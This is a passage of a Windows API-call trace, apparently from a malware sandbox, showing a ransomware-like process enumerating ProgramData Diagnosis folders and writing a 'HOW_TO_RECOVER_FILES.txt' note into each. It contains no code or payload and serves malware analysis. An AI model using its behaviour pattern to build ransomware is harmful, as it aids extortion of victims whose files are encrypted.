0x1ec52440 [0138.125] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.125] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x398900e4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x398900e4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.125] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.125] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.125] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc", lpFilePart=0x0) returned 0x2e [0138.125] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x398900e4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.125] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x398900e4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.125] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x398900e4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x398900e4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.126] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x398900e4, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x398900e4, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x398900e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.126] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.126] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0138.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0138.126] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\Siufloc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\siufloc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.127] GetFileType (hFile=0x644) returned 0x1 [0138.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0138.127] GetFileType (hFile=0x644) returned 0x1 [0138.127] WriteFile (in: hFile=0x644, lpBuffer=0x39aae70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x39aae70*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.128] CloseHandle (hObject=0x644) returned 1 [0138.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.128] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding", lpFilePart=0x0) returned 0x32 [0138.128] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x39fffce8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x39fffce8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1 [0138.128] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fffce8, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39fffce8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a0260ae, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.129] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.129] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding", lpFilePart=0x0) returned 0x32 [0138.129] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39fffce8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39fffce8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39fffce8, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39fffce8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1 [0138.129] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1 [0138.130] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, 